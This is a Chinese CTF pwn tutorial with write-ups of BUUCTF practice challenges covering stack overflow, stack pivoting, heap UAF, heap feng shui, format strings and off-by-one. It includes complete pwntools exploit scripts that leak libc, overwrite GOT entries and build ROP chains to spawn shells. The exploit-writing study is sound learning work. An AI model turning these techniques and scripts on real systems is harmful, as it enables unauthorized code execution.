前言
我们接着前两篇的内容继续往下学习。所有题目都可在BUU平台搜索得到 Ctal+F 然后输入题目名字即可。
同样的,在开始之前我们先来看下几个 函数吧,一定要 好好学下遇到的函数呢,很重要的:
fgets
memchr
strcmp
memcpy():
ez_pz_hackover_2016
环境:Ubuntu 16.04
首先查看下文件属性:
可以看到 是 32位的elf 程序,且 没有开启任何 保护,于是 首先考虑shellcode 的方式去pwn 掉程序。看下ida:(留意下 代码中的 注释)
int __cdecl main(int argc, const char **argv, const char **envp)
{
setbuf(stdout, 0);
header();
chall();
return 0;
}
**********************************************************************
int header() //header 其实没有什么的。
{
printf("\n");
printf(" ___ ____\n");
printf(" ___ __| _ \\_ /\n");
printf(" / -_)_ / _// / \n");
printf(" \\___/__|_| /___|\n");
printf(" lemon squeezy\n");
return printf("\n\n");
}
********************************************************************
void *chall()
{
size_t v0; // eax
void *result; // eax
char s; // [esp+Ch] [ebp-40Ch]
_BYTE *v3; // [esp+40Ch] [ebp-Ch]
printf("Yippie, lets crash: %p\n", &s); //这里可以得到栈地址
printf("Whats your name?\n");
printf("> ");
fgets(&s, 0x3FF, stdin); //向s 处 最多可输入0x3ff字节数据
v0 = strlen(&s);
v3 = memchr(&s, '\n', v0); //判断程序时候有 "\n"
if ( v3 )
*v3 = 0; //有的话 令它 等于 "\0"
printf("\nWelcome %s!\n", &s);
result = (void *)strcmp(&s, "crashme"); //这里再将 s处的字符串与"crashme"作比较
if ( !result )
result = vuln((unsigned int)&s, 0x400u);//如果相等,进入vuln()函数
return result;
}
******************************************************************
void *__cdecl vuln(char src, size_t n)
{
char dest; // [esp+6h] [ebp-32h]
return memcpy(&dest, &src, n); //将 以s位置开始0x400的数据都将会拷贝到dest位置
}
所以经过我们的上面的分析(代码中的注释),写出以下exp:
可以成功拿到shell!
babyfengshui_33c3_2016
这题 是个很好的 堆入门题。我们一起来分析下吧。
首先,我们 来检查下保护:
首先看下 main函数:
void __cdecl __noreturn main()
{
char v0; // [esp+3h] [ebp-15h]
int v1; // [esp+4h] [ebp-14h]
size_t v2; // [esp+8h] [ebp-10h]
unsigned int v3; // [esp+Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
alarm(0x14u);
while ( 1 )
{
puts("0: Add a user");
puts("1: Delete a user");
puts("2: Display a user");
puts("3: Update a user description");
puts("4: Exit");
printf("Action: ");
if ( __isoc99_scanf("%d", &v1) == -1 )
break;
if ( !v1 )
{
printf("size of description: ");
__isoc99_scanf("%u%c", &v2, &v0);
add_8048816(v2);
}
if ( v1 == 1 ) // delete
{
printf("index: ");
__isoc99_scanf("%d", &v2);
delete_8048905(v2); // 没有 UAF
}
if ( v1 == 2 ) // show
{
printf("index: ");
__isoc99_scanf("%d", &v2);
show_804898F(v2);
}
if ( v1 == 3 ) // update
{
printf("index: ");
__isoc99_scanf("%d", &v2);
update_8048724(v2);
}
if ( v1 == 4 )
{
puts("Bye");
exit(0);
}
if ( (unsigned __int8)i_804B069 > 0x31u )
{
puts("maximum capacity exceeded, bye");
exit(0);
}
}
exit(1);
}
然后 我们看 各个函数,因为 有前两篇文章的 感觉,关于ida 上的 伪代码我尽量还是用 图片吧,看的会更清晰些。在这之前 我们首先根据程序运行 封装下函数 我将封装的函数 先放上来,有助于理解:
add_8048816函数:
在add函数中 我们 可以 知道这个程序 用的结构体 应该是 这个样子:
我们可以请容易看出 ptr (0x0804B080)相当于 是 保存结构体指针的数组。delete_8048905
show_804898F<br>
update_8048724<br>
我们重点 分析下 这个 update_8048724 函数 就好了。
看第 13 行,程序 是 通过 (new_desc_size + ptr[i]->desc < (&ptr[i] - 4 ) 检测才可以 继续 update 操作的。正常来看的话,因为 malloc(struct user) 堆块 晚于 malloc(struct user->desc)堆块,且堆块相邻,所以,这个检测 的 本意是在update 每个user结构体中 desc 时,控制了new_desc_size 在于 这两个 堆块之间的距离再-4 的 大小,这样的话,就不存在 堆溢出问题。
但这里我们可根据 堆分配的 理解,我们 可通过 一些操作去使得 malloc(struct user) 堆块 返回的地址与 malloc(struct user->desc)堆块返回的地址 之间的距离 变的很大。这样 我们就可以拥有 比较大的最多可输入 字节 数据,从而 使得程序 有堆溢出漏洞。
而要如何操作呢,我们 可首先 add 两个 结构体 user0,user1,用于 刚刚说的" 一些操作",
我们 将user0 给 free 掉
此时 的bins 上 是 有个 272 即 hex(273) 即0x111 即 0x88+0x88+1的unsidned chunk,而如果我们申请 把这个0x111的size chunk 给申请出来 且 全当做 新的 user0->desc的堆块,那么这个堆块返回的地址 就会是 0x9f92000+8 ,而接着 在add 函数中又会申请 0x80的chunk 当作 新的user 的chunk,这个 就会是从 top chunk 申请出 的 chunk 了,两者地址间的 距离相隔 就很大了,没有具体算了,肯定 大于 0x198,而 新的 user0->desc的堆块,那么这个堆块的返回的地址( 0x9f92000+8) 再加0x198的位置就是 user1结构体中的 desc指针了,因为此时已经存在栈溢出了 ,我们 把这个 指针给溢出覆盖成 free_got地址,然后可以通过show 函数来输出 free_got函数,进而leak出 libc,进而得到system 函数地址。
add(0x100,"ddd",0x19c,"d"*0x198+p32(elf.got['free'])) #0
#gdb.attach(p)
show(1)
接着 我们 再通过 update 函数 再将 user1 中的desc(此时对应的指针是 free_got了),中的内容给改成 system,所以 只要我们执行 free("/bin/sh\x00"),就意味着 执行 system("/bin/sh\x00")了,从而pwn掉程序!而再最开始 我们在 add user2 结构体时就已经提前 写入了 "/bin/sh\x00"了,所以 最后我们再 delete(2-1)即 delete(1)就可以拿到 shell了
update(1,0x4, p32(system_addr))
delete(2)
完整 exp如下:
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'
p = process('./babyfengshui_33c3_2016')
#p = remote("node3.buuoj.cn",29957)
elf = ELF('./babyfengshui_33c3_2016')
#libc=ELF("/lib/i386-linux-gnu/libc.so.6")#local
def add(size,name,length,text):
p.sendlineafter("Action: ","0")
p.sendlineafter("size of description: ",str(size))
p.sendlineafter("name: ",name)
p.sendlineafter("text length: ",str(length))
p.sendlineafter("text: ",text)
def update(index, length, desc):
p.sendlineafter("Action: ","3")
p.sendlineafter("index: ",str(index))
p.sendlineafter("text length: ",str(length))
p.sendlineafter("text: ",desc)
def delete(index):
p.sendlineafter("Action: ","1")
p.sendlineafter("index: ",str(index))
def show(index):
p.sendlineafter("Action: ","2")
p.sendlineafter("index: ",str(index))
add(0x80,"aaa",0x80,"aaa")#0
add(0x80,"bbb",0x80,"bbb")#1
#gdb.attach(p)
add(0x20,"ccc",0x20,"/bin/sh\x00")#2
#gdb.attach(p)
delete(0)
gdb.attach(p)
add(0x100,"ddd",0x19c,"d"*0x198+p32(elf.got['free'])) #0
#gdb.attach(p)
show(1)
p.recvuntil("description: ")
free_addr = u32(p.recvn(4))
libc=LibcSearcher("free",free_addr)
libc_base=free_addr-libc.dump("free")
system_addr=libc_base+libc.dump("system")
#system_addr = free_addr - (libc.symbols['free'] - libc.symbols['system'])
print "system : "+hex(system_addr)
update(1,0x4, p32(system_addr))
delete(2)
p.interactive()
bjdctf_2020_babystack
环境:ubuntu 16.04经过前面两篇文章的讲解,这个实在属于最简单的 栈溢出题了。简单说下 了。ida:
栈溢出 ,然后还有 后门函数,直接写脚本了。
[Black Watch 入群题]PWN
这道题 考察栈迁移的,刚好再次把它给熟悉下。我们 还像 往常一样首先 检查下 程序开启保护:
32位 elf 程序,开启了 NX保护,于是首先暂时就不必去想 用shellcode了。我们看下ida:
程序 还是很容易看得懂的,看最后的 read(0, &buf, 0x20u)函数,这里虽然存在栈溢出,但仅可溢出到 ret_Addr,但这程序中是没有 后门函数的,所以我们 首先要做的 其实是 泄露出libc,并且要控制 要 返回到 main地址,因为我们目前才可以得到libc,我们还要接下来的拿shell 操作。
而栈溢出 的长度 不够我们在最后read函数这里去构造泄露libc的rop链, 而栈迁移 是刚好用来解决这个 问题的,我们再开始之前 先来了解下 栈迁移的基本知识,我们来 看下汇编中 这几个指令的本质:call:
leave:
ret:
我们首先构造好 泄露libc且会再次返回到main地址的 rop攻击链:放在 bss 段上 //s的位置
"pop eip 相当于将栈顶数据给了eip,由于ret返回的是esp栈地址中的数据, 而leave将ebp栈地址的值赋给了esp栈地址,所以可以通过覆盖ebp栈地址中的数据来控制ret的返回地址,而两次leave就可以控制esp为我们想要的地址了,不过第二次的pop ebp是多余的,会使esp-4,所以将ebp覆盖到我们构造的函数地址-4即可"
我们这样 覆盖:
我觉得 这个实在光看文字会 太绕,我gdb 动态给展示下:
此时的ebp,esp
根据上面 的leave 指令的实质,执行过 leave 后,esp的栈地址变成了ebp再+4的栈地址,ebp的栈地址变成了ebp栈地址中的数据即 执行完leave指令后 期望 应该是
我们 ni 走下:
和我们预想的一样,而接着 我们在ret_addr 再填一个 leave,执行ret后 会再执行一次 leave,会使得 ebp和esp再经历一次上面一样的变化,
执行 return 后可以看到 确实又执行到 leave此时:
同样 我们猜测 下再次执行完后 leave 后esp 和ebp的状态:
符合我们的期望!
接着 就 执行到 我们的 构造的ROP攻击链了。根据以上,我们写出下面exp:
from pwn import *
from LibcSearcher import *
p=remote('node3.buuoj.cn',26843)
#p=process('./spwn')
elf=ELF('./spwn')
write_plt=elf.plt['write']
write_got=elf.got['write']
main_addr=elf.symbols['main']
bss_addr=0x0804A300 #s
leave_ret=0x08048511
pd=p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4) #返回到main 使程序重新执行一次,为下步拿shell做准备
p.recvuntil("What is your name?")
p.send(pd)
#gdb.attach(p)
pd2='a'*0x18
pd2+=p32(bss_addr-4) #ebp
pd2+=p32(leave_ret) #ret_addr
p.recvuntil("What do you want to say?")
p.send(pd2)
write_addr=u32(p.recv(4))
print "write_addr "+hex(write_addr)
libc=LibcSearcher('write',write_addr)
libc_base=write_addr-libc.dump('write')
system_addr=libc_base+libc.dump('system')
str_bin_sh=libc_base+libc.dump('str_bin_sh')
p.recvuntil("What is your name?")
pd=p32(system_addr)+p32(main_addr)+p32(str_bin_sh)
p.send(pd)
p.recvuntil("What do you want to say?")
p.send(pd2)
p.interactive()
稍微 总结下 ,栈迁移的题,这题的话是一种类型(程序中是有leave;ret;),我们可以在 ret_addr处 填入 leave,ebp处 填入 我们的rop链所在地址,再减4 的地址。即可达到切栈的效果。
[BJDCTF2nd]ydsneedgirlfriend2
这一题 其实也属于 堆上的基础题了。UAF漏洞。最开始分析程序之前 我们检查下 程序开启的相关保护:
64位 elf 程序,开启NX保护。拖入ida:main函数:
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int choice; // eax
_BYTE v4[6]; // [rsp-16h] [rbp-16h]
unsigned __int64 v5; // [rsp-10h] [rbp-10h]
v5 = __readfsqword(0x28u);
myinit();
while ( 1 )
{
while ( 1 )
{
menu(); // puts(&byte_400E6F);
// puts("1.add a girlfriend");
// puts("2.dele a girlfriend");
// puts("3.show a girlfriend");
// puts("4.exit");
// return puts("u choice :");
read(0, v4, 6uLL);
choice = atoi(v4);
if ( choice != 2 )
break;
dele(); // UAF
}
if ( choice > 2 )
{
if ( choice == 3 )
{
show();
}
else
{
if ( choice == 4 )
exit(0);
LABEL_13:
puts("Invalid choice");
}
}
else
{
if ( choice != 1 )
goto LABEL_13;
add();
}
}
}
只有3个 程序功能就是:
我们看下 add函数功能:
我们可以看到 这里有两个 malloc,第一个malloc(0x10)是 申请的 struct girlfriend结构体,
第一个malloc(v2),这里的v2 是我们可控制的size,是申请的 name 的chunk
我们可在add 函数里 推出 这个程序 使用了 下面的结构体
看下show 功能:
如果 结构体存在,则 执行struct girlfriends-> print_girlfriend_name函数,我们看些这个函数
其实就是 个puts 出 struct girlfriends-> name中的数据。我们再看下 delete函数:
这个程序的洞 其实就是在这了,因为 free 掉chunk后 却没有进行 置零 操作。delete后,我们仍可以可以控制 chunk。而这题 又因为存在后门函数,
所以我们可以这样 首先 申请 结构体, girlfriends 0,
然后 我们 delete girlfriends 0,
可以发现 bins 链上 有两个 free chunk,且由于 UAF漏洞 delete后 结构体 0的指针仍然存在。
然后 再申请一个 0x10 的的结构体 girlfriends 0因为 结构体 0的指针仍然存在,所以 再add 函数中 就不会 再去首先申请 一个 0x10的结构题去做 新的girlfriends 0 了,而是 直接让我们 输入 size(这里就是0x10了),去申请 name 所在的堆块,我们观察bins 上的chunk,我们首先申请出来的会是 0x246960的堆块,且这个又是 girlfriends 0 结构体,我们只要把这个结构体 的print_girlfriend_name 指针给覆写 成后门函数就可以了,这样当我们执行 show 函数时,就会 调用print_girlfriend_name 时 就实际会 调用 backdoor,从而拿到shell。
我们可以看到 如我们上面的所述,呈现的结果与我们的期望一执,可以看到 bins上的0x2469350 被申请当作 girlfriends 0中的name 堆块了,同时又是 girlfriends 0结构体本身。我们再接着 show(0)其实就可 pwn 掉程序了。完整exp 如下:
#coding:utf8
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
elf = ELF('./ydsneedgirlfriend2')
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")#18
p = process('./ydsneedgirlfriend2')
#p = remote("node3.buuoj.cn",27625)
def add(size,name):
p.sendlineafter("u choice :\n",'1')
p.sendlineafter("Please input the length of her name:\n",str(size))
p.sendlineafter("Please tell me her name:\n",name)
#def edit(index,content):
# p.sendlineafter("choice: ",'2')
# p.sendlineafter("idx?",str(index))
# p.sendlineafter("content:",content)
# p.recvuntil("Done!\n")
def show(index):
p.sendlineafter("u choice :\n",'3')
p.sendlineafter("Index :",str(index))
def delete(index):
p.sendlineafter("u choice :\n",'2')
p.sendlineafter("Index :",str(index))
backdoor = 0x400D86
add(0x10,'a'*0x10)
#gdb.attach(p)
delete(0)
#gdb.attach(p)
payload = p64(0) + p64(backdoor)
add(0x10,payload)
#gdb.attach(p)
show(0)
p.interactive()
[BJDCTF 2nd]r2t4
这题 是个64位的elf 程序,动态链接 开启了NX和canary保护。而考察 其实 是 利用了格式化字符任意写,另外 我们要知道的是 当函数返回的时候 会比较canary的 值 是否发生变化,如果不一致,就触发 __stack_chk_fail 函数。拖入ida:
通过上面代码中的注释可知,栈溢出的方法 不可取, 因为程序开启了Canary 当函数返回的时候 会比较canary的 值 是否发生变化,如果不一致,就触发 stack_chk_fail 函数。且程序中 含有后门函数。 我们可通过格式化字符串写 将backdoor_addr写入 stack_chk_fail_got 中 脚本如下:
ciscn_2019_es_2
这道题,感觉还是 增加了不少知识。我们 直接分析 ida伪代码吧!
这里 我们利用的 printf 输出函数 是遇到 "\x00"才会 停止输出的,所以 我们 第一次输入 通过 printf 来 leak 出栈地址。而栈地址之间的偏移 是固定不会变的,我们可计算得到 s所在的栈地址。然后我们在s处构造以下 payload:
即,在 我们 泄露出的 s所在 地址处 写入 我们的 rop攻击链,然后可根据 (参考上面[Black Watch 入群题]PWN那题 的详细分析) 栈迁移的利用方式,在 ebp 覆盖为 在rop攻击链所在地址-0x4,ret_addr 覆盖成 leave_ret,从而 实现 栈迁移 使得程序 执行流 去执行 到 我们构造的 rop 攻击链,拿到 shell。
我写出 以下exp:
from pwn import *
#p=process("./ciscn_2019_es_2")
p=remote("node3.buuoj.cn",29391)
elf=ELF("./ciscn_2019_es_2")
system_plt=elf.plt["system"]
leave_ret=0x08048562
#gdb.attach(p)
pd="a"*(0x28-0x4) #经gdb调试 我们可 在 偏移 ebp-0x28-4的位置存着的数据 是一个栈地址
p.recvuntil("Welcome, my friend. What's your name?\n")# 通过偏移 得到 s_addr
p.send(pd)
p.recvuntil("a"*(0x28-4))
zhan_addr=u32(p.recv(4))
print "zhan_addr : "+hex(zhan_addr)
s_addr=zhan_addr-(0xff962d44-0xff962c60)
sh_addr=s_addr+0xc
pd2=p32(system_plt)+p32(0xdeadbeef)+p32(sh_addr)+"sh\x00\x00"//我们在 s_addr处 写上 我们的 system_plt地址,s_addr+0xc处写入字符串"sh\x00",将这个地址放在 s_addr+0x8处作为参数
pd2=pd2.ljust(0x28,"a")
pd2+=p32(s_addr-0x4) //这个可以看上面的 [Black Watch 入群题]PWN那题的具体分析,ebp 覆盖为 在rop攻击链所在地址-0x4,ret_addr 覆盖成 leave_ret
pd2+=p32(leave_ret)
p.send(pd2)
p.interactive()
可以成功拿到shell。
铁人三项(第五赛区)_2018_rop
检查保护:仅开启了 NX 保护,暂时 不考虑 shellcode
ida:
无 system 函数,栈溢出。可通过 write 函数泄露 真实函数地址 进而得到 ssytem和bin/sh字符串 地址 通过 再一次 栈溢出 拿到shell。
exp:
#coding:utf8
#ubuntu:18.04
#Author:yangmutou
from pwn import *
context.log_level="debug"
p=process("./2018_rop")
p=remote("node3.buuoj.cn",28871)
elf=ELF("./2018_rop")
libc=ELF("/lib/i386-linux-gnu/libc.so.6")
write_plt=elf.plt['write']
write_got=elf.got['write']
read_plt=elf.plt['read']
main=0x80484c6
print "write_plt : "+hex(write_plt)
print "write_got : "+hex(write_got)
print "read_plt : "+hex(read_plt)
pd="a"*0x88
pd+=p32(0xdeadbeef)
pd+=p32(write_plt) # write(fd,addr,len)
pd+=p32(0x80484c6)
pd+=p32(1)
pd+=p32(write_got)
pd+=p32(4)
p.sendline(pd)
write_addr=u32(p.recv(4))
print "write_addr : "+hex(write_addr)
libc_base=write_addr-libc.sym['write']
system_addr=libc_base+libc.sym['system']
bin_sh=libc_base+libc.search('/bin/sh').next()
print "libc_base : "+hex(libc_base)
print "system_addr : "+hex(system_addr)
print "bin_sh : "+hex(bin_sh)
pd="a"*0x88
pd+=p32(0xdeadbeef)
pd+=p32(system_addr) # system("/bin/sh\x00")
pd+=p32(0)
pd+=p32(bin_sh)
p.sendline(pd)
p.interactive()
本地 可打通,但远程报错了。
猜测 远程 libc和本地的libc 版本 不一致。我们用 libcsear 工具 即可。改写如下:
#coding:utf8
from pwn import *
from LibcSearcher import *
context.log_level="debug"
p=process("./2018_rop")
p=remote("node3.buuoj.cn",28871)
elf=ELF("./2018_rop")
#libc=ELF("/lib/i386-linux-gnu/libc.so.6")
write_plt=elf.plt['write']
write_got=elf.got['write']
read_plt=elf.plt['read']
main=0x80484c6
print "write_plt : "+hex(write_plt)
print "write_got : "+hex(write_got)
print "read_plt : "+hex(read_plt)
pd="a"*0x88
pd+=p32(0xdeadbeef)
pd+=p32(write_plt) # write(fd,addr,len)
pd+=p32(0x80484c6)
pd+=p32(1)
pd+=p32(write_got)
pd+=p32(4)
p.sendline(pd)
write_addr=u32(p.recv(4))
print "write_addr : "+hex(write_addr)
#remote
libc = LibcSearcher('write',write_addr)
libc_base=write_addr-libc.dump('write')
system_addr = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump("str_bin_sh")
#local
'''
libc_base=write_addr-libc.sym['write']
system_addr=libc_base+libc.sym['system']
bin_sh=libc_base+libc.search('/bin/sh').next()
'''
print "libc_base : "+hex(libc_base)
print "system_addr : "+hex(system_addr)
print "bin_sh : "+hex(bin_sh)
pd="a"*0x88
pd+=p32(0xdeadbeef)
pd+=p32(system_addr) # system("/bin/sh\x00")
pd+=p32(0)
pd+=p32(bin_sh)
p.sendline(pd)
p.interactive()
jarvisoj_level3
检查保护:
ida:
这题和上面的几乎 一摸一样.改改上面的 exp 即可。
#coding:utf8
#ubuntu:18.04
#Author:yangmutou
from pwn import *
from LibcSearcher import *
context.log_level="debug"
p=process("./level3")
p=remote("node3.buuoj.cn",27781)
elf=ELF("./level3")
#libc=ELF("/lib/i386-linux-gnu/libc.so.6")
write_plt=elf.plt['write']
write_got=elf.got['write']
read_plt=elf.plt['read']
main=0x08048484
print "write_plt : "+hex(write_plt)
print "write_got : "+hex(write_got)
print "read_plt : "+hex(read_plt)
pd="a"*0x88
pd+=p32(0xdeadbeef)
pd+=p32(write_plt) # write(fd,addr,len)
pd+=p32(main)
pd+=p32(1)
pd+=p32(write_got)
pd+=p32(4)
p.recvuntil("Input:\n")
p.sendline(pd)
write_addr=u32(p.recv(4))
print "write_addr : "+hex(write_addr)
#remote
libc = LibcSearcher('write',write_addr)
libc_base=write_addr-libc.dump('write')
system_addr = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump("str_bin_sh")
#local
'''
libc_base=write_addr-libc.sym['write']
system_addr=libc_base+libc.sym['system']
bin_sh=libc_base+libc.search('/bin/sh').next()
'''
print "libc_base : "+hex(libc_base)
print "system_addr : "+hex(system_addr)
print "bin_sh : "+hex(bin_sh)
pd="a"*0x88
pd+=p32(0xdeadbeef)
pd+=p32(system_addr) # system("/bin/sh\x00")
pd+=p32(0)
pd+=p32(bin_sh)
p.sendline(pd)
p.interactive()
xman_2019_format
检查保护:仅 开启了 NX 保护。
ida:
int __cdecl main()
{
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
setvbuf(stderr, 0, 2, 0);
sub_804869D();
return 0;
}
**********************************
char *sub_804869D()
{
puts("...");
return sub_8048651();
}
*********************************
char *sub_8048651()
{
void *buf; // ST1C_4
puts("...");
buf = malloc(0x100u);
read(0, buf, 0x37u); //我们的输入 在 堆上
return sub_804862A((char *)buf);
}
***********************************
char *__cdecl sub_804862A(char *s)
{
puts("...");
return sub_80485C4(s);
}
*************************************
char *__cdecl sub_80485C4(char *s)
{
char *v1; // eax
char *result; // eax
puts("...");
v1 = strtok(s, "|");
printf(v1); // 格式化字符串
while ( 1 )
{
result = strtok(0, "|");
if ( !result )
break;
printf(result);
}
return result;
}
发现多次调用函数。然后是格式化字符串 漏洞 ,且我们的输入不在 栈上,另外这题还有个 比较麻烦的 东西,就是我们没办法 泄露 栈地址。不过 我们可以猜测。
1/16分之1 的成功率。参考了 这个链接:
另外这道 要了解下 strtok 函数。见下面链接。
exp:
[BJDCTF 2nd]test
容器环境:
做的第一个 ssh 的题目啊,
前一段时间 因为 没接触过这题 该怎样连接,这次 终于 算可以 作下了。链接:
然后出现这个样子:输入 yes 即可。
看题目的意思我们没有权限查看 flag,然后可以运行程序,可以看源码。
我们首先看下源码:
ctf@3c8e49c2b3b6:~$ cat test.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(){
char cmd[0x100] = {0};
puts("Welcome to Pwn-Game by TaQini.");
puts("Your ID:");
system("id");
printf("$ ");
gets(cmd);
if( strstr(cmd, "n")
||strstr(cmd, "e")
||strstr(cmd, "p")
||strstr(cmd, "b")
||strstr(cmd, "u")
||strstr(cmd, "s")
||strstr(cmd, "h")
||strstr(cmd, "i")
||strstr(cmd, "f")
||strstr(cmd, "l")
||strstr(cmd, "a")
||strstr(cmd, "g")
||strstr(cmd, "|")
||strstr(cmd, "/")
||strstr(cmd, "$")
||strstr(cmd, "`")
||strstr(cmd, "-")
||strstr(cmd, "<")
||strstr(cmd, ">")
||strstr(cmd, ".")){
exit(0);
}else{
system(cmd);
}
return 0;
}
可以看出 程序 过滤了 这些 字符
我们 用这个命令看下 我们还可以 输入 什么 命令。
发现:
然后输入 x86_64 然后 在 cat flag 即可 拿到shell。
bjdctf_2020_babyrop
检查保护:64位 elf 程序 仅开启 了 NX 保护。
ida:
和上面 的栈溢处 没什么 不同直接上 exp了:
from pwn import *
from LibcSearcher import *
context.log_level='debug'
p=remote('node3.buuoj.cn',29993)
#p=process('./bjdctf_2020_babyrop')
elf=ELF('./bjdctf_2020_babyrop')
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
main_addr=elf.symbols['main']
pop_rdi=0x0000000000400733
pd='a'*0x20+p64(0xdeadbeef)
pd+=p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
p.recvuntil('Pull up your sword and tell me u story!\n')
p.sendline(pd)
puts_addr=u64(p.recv(6).ljust(8,'\x00'))
libc=LibcSearcher('puts',puts_addr)
libc_base=puts_addr-libc.dump('puts')
system_addr=libc_base+libc.dump('system')
bin_sh=libc_base+libc.dump('str_bin_sh')
pd='a'*0x20+p64(0xdeadbeef)
pd+=p64(pop_rdi)+p64(bin_sh)+p64(system_addr)
p.recvuntil('Pull up your sword and tell me u story!')
p.sendline(pd)
p.interactive()
others_shellcode
检查保护:
这个 是汇编 我们执行 下面 命令 直接看 源码:
看main函数,发现直接 调用 后门函数了,直接nc 就可拿到flag。
jarvisoj_fm
检查保护:32位elf 程序 开启NX和canary保护, got可改。
ida:
exp:找到偏移 然后 把 x 内容 改为 4 即可。
jarvisoj_tell_me_something
ida:
额,栈溢出 且有后门函数:
直接 exp:
jarvisoj_level3_x64
检查保护
ida:
额额 都是这类的题。栈溢出 泄露libc 返回到vuln 函数,再次运行 拿到shell。
jarvisoj_level4
检查保护:32位elf 程序仅开启了 NX保护。
ida:
直接exp:网上搜索 都是 用的pwntools的 dyn 搜索, 感觉 没 libcsearch 方便。
roarctf_2019_easy_pwn
检查保护:64位elf 程序,保护全开。
拖入ida:可以得知 这是一个 经典菜单型的堆题。
程序功能有四个。
add:
在add函数中 可以知道里使用了结构体,并且做多可申请 16个结构体。
edit 函数:
漏洞点在 sub_E26函数:如果我们输入的 size 比 原本的size 大 10,则 new_size=old_size+1,off by one 漏洞。
delete函数:无 UAF漏洞
show:这个函数 看着 有些复杂,其实就是 输出 每个结构体中的 chunk_mem_addr指向的内容。
首先根据上面封装函数:
因为存在 off by one漏洞,很简单 的堆题了,这题 主要是 将 __malloc_hook 处 写入所有的onegadget 都无法 拿到shell。原因是 每个 onegadget在执行的时候 都不能满足所需条件,所以 我们需要借助 realloc 来 微调 栈环境。off by one 利用手法 具体可在这个链接学下:
https://blog.csdn.net/Breeze_CAT/article/details/103788698
首先 leak libc_base及相关函数地址:
然后 首先这个样子:
在 malloc_hook中写入 onegadget,执行到 call execve时,我们看看此时 栈环境满不满足 onegadget[1]的执行成功条件。
显然并没有满足。但是 $rsp-0x8处可以是 0
如果 我们把 $rsp-0x8 给当成 $rsp+0x30 即可 满足成功执行条件。
于是我们需要将 rsp 给向上 抬高 (0x30+0x8) 即可。
realloc_hook和malloc_hook 以及free_hook很是一样,如果malloc_hook 处 不为0 的话,就跳转到 malloc_hook 中的函数中去,但 realloc 有些特别,在 它开始的时候 会有一部分的 抬栈降栈的操作。我们看下 realloc 函数的汇编。(注,发现在不同的环境它的符号有些不同)
所以,我们想要 将栈抬高 0x38 ,只要在 malloc_hook中填入 &GI_libc_realloc +16 (sub rsp,0x38)即可,然后 然后在 realoc_hook中填入 onegadget[1]。
这样 程序程序执行到 malloc _hook时,就会 先去 执行 &GI_libc_realloc +16 (sub rsp,0x38)进行 升栈操作。然后满足 条件后 再执行 realoc_hook 中的 onegadget 就会成功拿到shell 了。
所以 总的 exp 如下:
师傅们,今天 你pwn 了嘛!一起来学二进制吧。
PWN综合练习(三) (CTF PWN进阶训练实战,基于两次缓冲区溢出来获取服务器控制权限。)